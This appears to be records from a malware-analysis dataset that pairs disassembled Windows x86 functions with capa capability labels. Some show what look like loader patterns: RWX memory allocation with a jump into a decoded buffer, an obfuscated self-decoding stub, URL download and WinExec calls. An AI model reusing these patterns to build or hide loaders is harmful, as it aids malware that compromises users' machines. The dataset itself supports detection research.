joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10051a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0xc], 0x5d
mov eax, 0x1e
mov word [ebp - 8], ax
mov ecx, 0x1a
mov word [ebp - 4], cx
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x1c], 0x307d
movzx edx, byte [0x10c7094]
add edx, 0xba6a8
mov word [ebp - 8], dx
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 8]
sub eax, ecx
sub eax, dword [ebp + 0xc]
mov word [ebp - 8], ax
movzx edx, word [ebp - 4]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx + 0x56]
mov word [ebp - 8], cx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
movzx eax, word [ebp - 4]
mov ecx, dword [ebp + 0xc]
lea edx, [eax + ecx + 0x3d]
mov word [ebp - 8], dx
movzx eax, word [ebp - 4]
sub eax, 4
sub eax, dword [ebp - 0xc]
mov word [ebp - 8], ax
imul ecx, dword [ebp + 0xc], 0xae7e
movzx edx, word [ebp - 8]
sub ecx, edx
mov word [ebp - 8], cx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax - 8]
mov byte [0x10c7094], dl
push 0x10cf7e4
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x10], 0
jmp 0x100526b
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x20
jge 0x10052ce
mov ecx, 4
shl ecx, 2
mov edx, dword [ebp - 0xc]
cmp edx, dword [ecx + 0x10c7010]
jne 0x1005286
jmp 0x1005262
mov eax, dword [ebp - 0x10]
mov ecx, dword [section..data]
imul ecx, dword [eax*4 + 0x10c7010]
mov dword [section..data], ecx
mov edx, dword [0x10c7098]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*4]
mov edx, dword [section..data]
sub edx, ecx
mov dword [section..data], edx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax + 0x10c7010]
jne 0x10052cc
jmp 0x10052ce
jmp 0x1005262
mov edx, 4
imul eax, edx, 7
mov ecx, dword [eax + 0x10c7010]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 3
je 0x10052e7
jmp 0x10052f8
movzx edx, word [ebp - 8]
mov eax, dword [ebp + 0xc]
lea ecx, [edx + eax + 0x56]
mov word [ebp - 4], cx
jmp 0x1005307
movzx edx, word [ebp - 8]
mov eax, dword [ebp + 0xc]
lea ecx, [edx + eax + 0x3d]
mov word [ebp - 4], cx
movzx edx, byte [0x10c7094]
sub edx, 0x39
mov dword [ebp - 0xc], edx
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0xc]
lea edx, [eax + ecx + 0x3d]
mov byte [0x10c7094], dl
mov eax, 4
imul ecx, eax, 7
mov edx, dword [ecx + 0x10c7010]
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 3
je 0x100533e
jmp 0x100534f
movzx eax, word [ebp - 8]
mov ecx, dword [ebp + 0xc]
lea edx, [eax + ecx + 0x56]
mov word [ebp - 4], dx
jmp 0x100535e
movzx eax, word [ebp - 8]
mov ecx, dword [ebp + 0xc]
lea edx, [eax + ecx + 0x3d]
mov word [ebp - 4], dx
jmp dword [ebp - 0x14]
Function at 0x1071d20
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [esp + 0xc]
mov ecx, 0
sub esi, edi
je 0x1071d49
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x1071d38
pop edi
mov eax, edx
pop esi
ret 8
Function at 0x100029c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10002a21
mov eax, dword [ebp + 0x14]
shl dword [ebp + 0x10], 8
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov ebx, dword [ebp + 0x1c]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x18]
push esi
mov cl, byte [ecx]
movsx edx, cl
sub cl, 0x61
cmp cl, 0x19
mov ecx, dword [ebp + 0x10]
lea esi, [edx - 0x20]
cmova esi, edx
mov edx, dword [ebp + 0xc]
add ecx, esi
add eax, ebx
xor eax, dword [edx + ecx*4]
mov ecx, ebx
shl ecx, 5
add ecx, 3
add ecx, esi
add ebx, ecx
mov ecx, dword [ebp + 8]
inc ecx
add ebx, eax
mov dword [ebp + 8], ecx
sub edi, 1
jne 0x100029e2
pop esi
pop ebx
pop edi
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
pop edi
pop ebp
ret 0x18
Function at 0x4010ec
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, 0x4065d0
cmp dword [esi], 0
jne 0x401132
push 0x644
push 0
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov ecx, eax
test ecx, ecx
jne 0x40110f
xor eax, eax
pop esi
pop ebx
ret
mov eax, dword [0x4065cc]
mov dword [ecx], eax
mov dword [0x4065cc], ecx
xor edx, edx
mov eax, edx
add eax, eax
lea eax, [ecx + eax*8 + 4]
mov ebx, dword [esi]
mov dword [eax], ebx
mov dword [esi], eax
inc edx
cmp edx, 0x64
jne 0x40111e
mov eax, dword [esi]
mov edx, dword [eax]
mov dword [esi], edx
pop esi
pop ebx
ret

Function at 0x401290
Capabilities:
Extract resource via kernel32 functions
Read file on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 0x100000
jge 0x4012a6
mov esi, 0x100000
jmp 0x4012b2
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 1
push 0x2000
push esi
push 0
call sub.KERNEL32.DLL_LockResource
mov edi, eax
mov dword [ebx], edi
test edi, edi
je 0x4012ef
mov edx, ebx
mov eax, 0x4065d4
call fcn.00401144
test al, al
jne 0x4012ef
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_ReadFile
xor eax, eax
mov dword [ebx], eax
pop edi
pop esi
pop ebx
ret

Function at 0x4012f4
Capabilities:
Extract resource via kernel32 functions
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.KERNEL32.DLL_LockResource
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x40133e
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 4
push 0x2000
push esi
push ebp
call sub.KERNEL32.DLL_LockResource
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x401366
mov edx, ebx
mov eax, 0x4065d4
call fcn.00401144
test al, al
jne 0x401366
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_ReadFile
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40136c
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 8], 0xffffffff
xor edx, edx
mov dword [esp + 0xc], edx
mov ebp, eax
mov eax, dword [esp]
add eax, ebp
mov dword [esp + 0x10], eax
mov ebx, dword [0x4065d4]
jmp 0x4013ec
mov edi, dword [ebx]
mov esi, dword [ebx + 8]
cmp ebp, esi
ja 0x4013ea
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0x10]
ja 0x4013ea
cmp esi, dword [esp + 8]
jae 0x4013b9
mov dword [esp + 8], esi
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0xc]
jbe 0x4013c8
mov dword [esp + 0xc], eax
push 0x8000
push 0
push esi
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x4013e3
mov dword [0x4065b0], 1
mov eax, ebx
call fcn.00401174
mov ebx, edi
cmp ebx, 0x4065d4
jne 0x40139b
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
cmp dword [esp + 0xc], 0
je 0x40141c
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [eax], edx
mov eax, dword [esp + 0xc]
sub eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401424
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edx, eax
mov ebp, edx
and ebp, 0xfffff000
add edx, dword [esp]
add edx, 0xfff
and edx, 0xfffff000
mov dword [esp + 8], edx
mov eax, dword [esp + 4]
mov dword [eax], ebp
mov eax, dword [esp + 8]
sub eax, ebp
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
mov esi, dword [0x4065d4]
jmp 0x4014a6
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebp, ebx
jbe 0x401478
mov ebx, ebp
cmp edi, dword [esp + 8]
jbe 0x401482
mov edi, dword [esp + 8]
cmp edi, ebx
jbe 0x4014a4
push 4
push 0x1000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_LockResource
test eax, eax
jne 0x4014a4
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
jmp 0x4014ae
mov esi, dword [esi]
cmp esi, 0x4065d4
jne 0x40146a
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4014b8
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov esi, ebx
add esi, 0xfff
and esi, 0xfffff000
mov dword [esp], esi
mov ebp, ebx
add ebp, edx
and ebp, 0xfffff000
mov eax, dword [esp]
mov dword [ecx], eax
mov eax, ebp
sub eax, dword [esp]
mov dword [ecx + 4], eax
mov esi, dword [0x4065d4]
jmp 0x401527
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebx, dword [esp]
jae 0x4014ff
mov ebx, dword [esp]
cmp ebp, edi
jae 0x401505
mov edi, ebp
cmp edi, ebx
jbe 0x401525
push 0x4000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x401525
mov dword [0x4065b0], 2
mov esi, dword [esi]
cmp esi, 0x4065d4
jne 0x4014ef
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401778
Capabilities:
Clear file content
Create process on windows
Get common file path
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
push ebp
push 0x40182e
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x4065b4
call sub.KERNEL32.DLL_SetEndOfFile
cmp byte [0x406035], 0
je 0x4017a6
push 0x4065b4
call sub.KERNEL32.DLL_SizeofResource
mov eax, 0x4065d4
call fcn.0040113c
mov eax, 0x4065e4
call fcn.0040113c
mov eax, 0x406610
call fcn.0040113c
push 0xff8
push 0
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov dword [0x40660c], eax
cmp dword [0x40660c], 0
je 0x40180d
mov eax, 3
mov edx, dword [0x40660c]
xor ecx, ecx
mov dword [edx + eax*4 - 0xc], ecx
inc eax
cmp eax, 0x401
jne 0x4017e3
mov eax, 0x4065f4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [0x406600], eax
mov byte [0x4065ac], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401835
cmp byte [0x406035], 0
je 0x40182d
push 0x4065b4
call sub.KERNEL32.DLL_WinExec
ret
Function at 0x40183c
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x4065ac], 0
je 0x401919
xor edx, edx
push ebp
push 0x401912
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x406035], 0
je 0x40186e
push 0x4065b4
call sub.KERNEL32.DLL_SizeofResource
mov byte [0x4065ac], 0
mov eax, dword [0x40660c]
push eax
call sub.KERNEL32.DLL_LoadResource
xor eax, eax
mov dword [0x40660c], eax
mov ebx, dword [0x4065d4]
jmp 0x4018a1
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_ReadFile
mov ebx, dword [ebx]
cmp ebx, 0x4065d4
jne 0x40188f
mov eax, 0x4065d4
call fcn.0040113c
mov eax, 0x4065e4
call fcn.0040113c
mov eax, 0x406610
call fcn.0040113c
mov eax, dword [0x4065cc]
test eax, eax
je 0x4018e7
mov edx, dword [eax]
mov dword [0x4065cc], edx
push eax
call sub.KERNEL32.DLL_LoadResource
mov eax, dword [0x4065cc]
test eax, eax
jne 0x4018d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401919
cmp byte [0x406035], 0
je 0x401907
push 0x4065b4
call sub.KERNEL32.DLL_WinExec
push 0x4065b4
call sub.KERNEL32.DLL_WriteFile
ret
pop ebx
pop ebp
ret
Function at 0x401e64
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x4065ac], 0
jne 0x401e81
call fcn.00401778
test al, al
je 0x401e89
cmp ebx, 0x7ffffff8
jle 0x401e93
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x401fe7
xor ecx, ecx
push ebp
push 0x401fe0
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x406035], 0
je 0x401eb4
push 0x4065b4
call sub.KERNEL32.DLL_SizeofResource
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x401ec4
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x401f63
mov eax, ebx
test eax, eax
jns 0x401ed9
add eax, 3
sar eax, 2
mov edx, dword [0x40660c]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x401f63
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x401f14
mov eax, ebx
test eax, eax
jns 0x401f03
add eax, 3
sar eax, 2
mov ecx, dword [0x40660c]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x401f3a
mov ecx, ebx
test ecx, ecx
jns 0x401f1d
add ecx, 3
sar ecx, 2
mov edi, dword [0x40660c]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40659c]
sub ebx, 4
add dword [0x4065a0], ebx
call fcn.00402af4
jmp 0x401fe7
cmp ebx, dword [0x406604]
jg 0x401fb5
sub dword [0x406604], ebx
cmp dword [0x406604], 0xc
jge 0x401f87
add ebx, dword [0x406604]
xor eax, eax
mov dword [0x406604], eax
mov eax, dword [0x406608]
add dword [0x406608], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40659c]
sub ebx, 4
add dword [0x4065a0], ebx
call fcn.00402af4
jmp 0x401fe7
mov eax, ebx
call fcn.00401d70
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401fe7
cmp byte [0x406035], 0
je 0x401fdf
push 0x4065b4
call sub.KERNEL32.DLL_WinExec
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x401ff4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x4065b0], eax
cmp byte [0x4065ac], 0
jne 0x40202c
call fcn.00401778
test al, al
jne 0x40202c
mov dword [0x4065b0], 8
mov dword [ebp - 4], 8
jmp 0x40218d
xor ecx, ecx
push ebp
push 0x402186
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x406035], 0
je 0x40204d
push 0x4065b4
call sub.KERNEL32.DLL_SizeofResource
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x402068
mov dword [0x4065b0], 9
jmp 0x40215d
dec dword [0x40659c]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x4065a0], eax
test bl, 1
je 0x4020c8
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x402098
test edx, 0x80000003
je 0x4020a7
mov dword [0x4065b0], 0xa
jmp 0x40215d
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x4020bf
mov dword [0x4065b0], 0xa
jmp 0x40215d
add ebx, edx
mov esi, eax
call fcn.0040191c
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x406608]
jne 0x402108
sub dword [0x406608], ebx
add dword [0x406604], ebx
cmp dword [0x406604], 0x3c00
jle 0x4020f9
call fcn.00401c0c
xor eax, eax
mov dword [ebp - 4], eax
call fcn.00402af4
jmp 0x40218d
mov edx, dword [eax]
test dl, 2
je 0x40212b
and edx, 0x7ffffffc
cmp edx, 4
jge 0x402126
mov dword [0x4065b0], 0xb
jmp 0x40215d
or dword [eax], 1
jmp 0x402154
mov eax, edi
cmp dword [eax + 4], 0
je 0x40213e
cmp dword [eax], 0
je 0x40213e
cmp dword [eax + 8], 0xc
jge 0x40214a
mov dword [0x4065b0], 0xb
jmp 0x40215d
mov edx, dword [eax + 8]
add ebx, edx
call fcn.0040191c
mov edx, ebx
mov eax, esi
call fcn.00401b84
mov eax, dword [0x4065b0]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40218d
cmp byte [0x406035], 0
je 0x402185
push 0x4065b4
call sub.KERNEL32.DLL_WinExec
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x402740
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40500c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4027d8
push 0x80000002
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4027b8
xor eax, eax
push ebp
push 0x4027b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027f4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4027b8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegOpenKeyExA
ret
mov ax, word [0x40500c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40500c], ax
mov esp, ebp
pop ebp
ret
Function at 0x402e20
Capabilities:
Set thread local storage value

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x402e81
cmp word [0x406208], 0xd7b2
jne 0x402e49
cmp dword [0x406210], 0
jbe 0x402e49
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x405054
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_DeleteCriticalSection
push eax
call sub.KERNEL32.DLL_TlsSetValue
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402ea8
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_DeleteCriticalSection
push eax
call sub.KERNEL32.DLL_TlsSetValue
pop edx
ret
cmp byte [0x405018], 0
jne 0x402e9d
push 0
push 0x40504c
push 0x405054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x402eac
Capabilities:
Copy file

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x406620
mov esi, section.DATA
mov edi, 0x406030
cmp byte [ebx + 0x28], 0
jne 0x402edb
cmp dword [edi], 0
je 0x402edb
mov edx, dword [edi]
mov eax, edx
xor edx, edx
mov dword [edi], edx
mov ebp, eax
call ebp
cmp dword [edi], 0
jne 0x402eca
cmp dword [0x405004], 0
je 0x402ef5
call fcn.00402d94
call fcn.00402e20
xor eax, eax
mov dword [0x405004], eax
cmp byte [ebx + 0x28], 2
jne 0x402f05
cmp dword [esi], 0
jne 0x402f05
xor eax, eax
mov dword [ebx + 0xc], eax
call fcn.00402c94
cmp byte [ebx + 0x28], 1
jbe 0x402f15
cmp dword [esi], 0
je 0x402f36
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x402f36
call fcn.004033fc
mov edx, dword [ebx + 0x10]
mov eax, dword [edx + 0x10]
cmp eax, dword [edx + 4]
je 0x402f36
test eax, eax
je 0x402f36
push eax
call sub.KERNEL32.DLL_CopyFileA
call fcn.00402c6c
cmp byte [ebx + 0x28], 1
jne 0x402f44
call dword [ebx + 0x24]
cmp byte [ebx + 0x28], 0
je 0x402f4f
call fcn.00402df0
cmp dword [ebx], 0
jne 0x402f6b
cmp dword [0x406018], 0
je 0x402f63
call dword [0x406018]
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebx]
push esi
mov esi, eax
mov edi, ebx
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x402ef5

Function at 0x4041b0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403280
mov eax, dword [ebp - 8]
call fcn.00403280
xor eax, eax
push ebp
push 0x40423e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x404217
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403290
push eax
mov eax, dword [ebp - 4]
call fcn.00403290
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x404223
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404245
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402fc0
ret
Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x445dae
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0x14]
xor eax, eax
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
push dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push str._ls.R
push edi
call main
mov esi, eax
add esp, 0xc
test esi, esi
js 0x445eba
push 0
push 0x80
push 4
push 0
push 4
push 0xc0000000
push dword [edi]
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x445e38
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x445e1c
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x445e23
mov esi, 0x80004005
push esi
push 0xc1
push str.dlutil.cpp
call fcn.00403821
jmp 0x445eba
mov ecx, dword [ebp - 4]
push 0
lea eax, [ebp - 8]
push eax
push 8
pop eax
sub eax, ecx
push eax
lea eax, [ecx + ebx]
push eax
push edi
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x445e80
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
cmp dword [ebp - 8], 0
mov dword [ebp - 4], ecx
je 0x445e6a
cmp ecx, 8
jb 0x445e3b
cmp ecx, 8
je 0x445e76
and dword [ebx], 0
and dword [ebx + 4], 0
mov eax, dword [ebp + 0x10]
mov dword [eax], edi
or edi, 0xffffffff
jmp 0x445eae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x445e97
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x445e9e
mov esi, 0x80004005
push esi
push 0xc8
push str.dlutil.cpp
call fcn.00403821
cmp edi, 0xffffffff
je 0x445eba
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4464b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4464c6
pop dword [ebp - 0x2c]
mov eax, 0x4464c6
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x4dda6
push 0
mov eax, 0x9ea49ca0
add eax, 0x61a0161c
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x3fd8
mov edx, eax
mov edi, 0x2f4b1c8e
sub edi, 0x2f029e8e
add edi, dword [ebp - 0x2c]
mov esi, 0xde01422a
add esi, 0x45c17cb4
mov ebx, dword [edi]
xor dword [ebp - 0x20], edi
sub ebx, esi
sub dword [ebp - 0x28], 0xbe5d1fd6
mov dword [edx], ebx
sub dword [ebp - 0x24], 0x90f4d66b
add edx, 0x938cfaf3
sub edx, 0x938cfaef
add edi, 0xaa0cea76
sub edi, 0xaa0cea72
loop 0x44651a
add eax, 0xeaa80395
sub eax, 0xeaa71162
mov ebx, eax
add eax, 0x4c5999e5
add eax, 0xb3a66620
mov ecx, 0xce631edd
add ecx, 0x31dce123
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret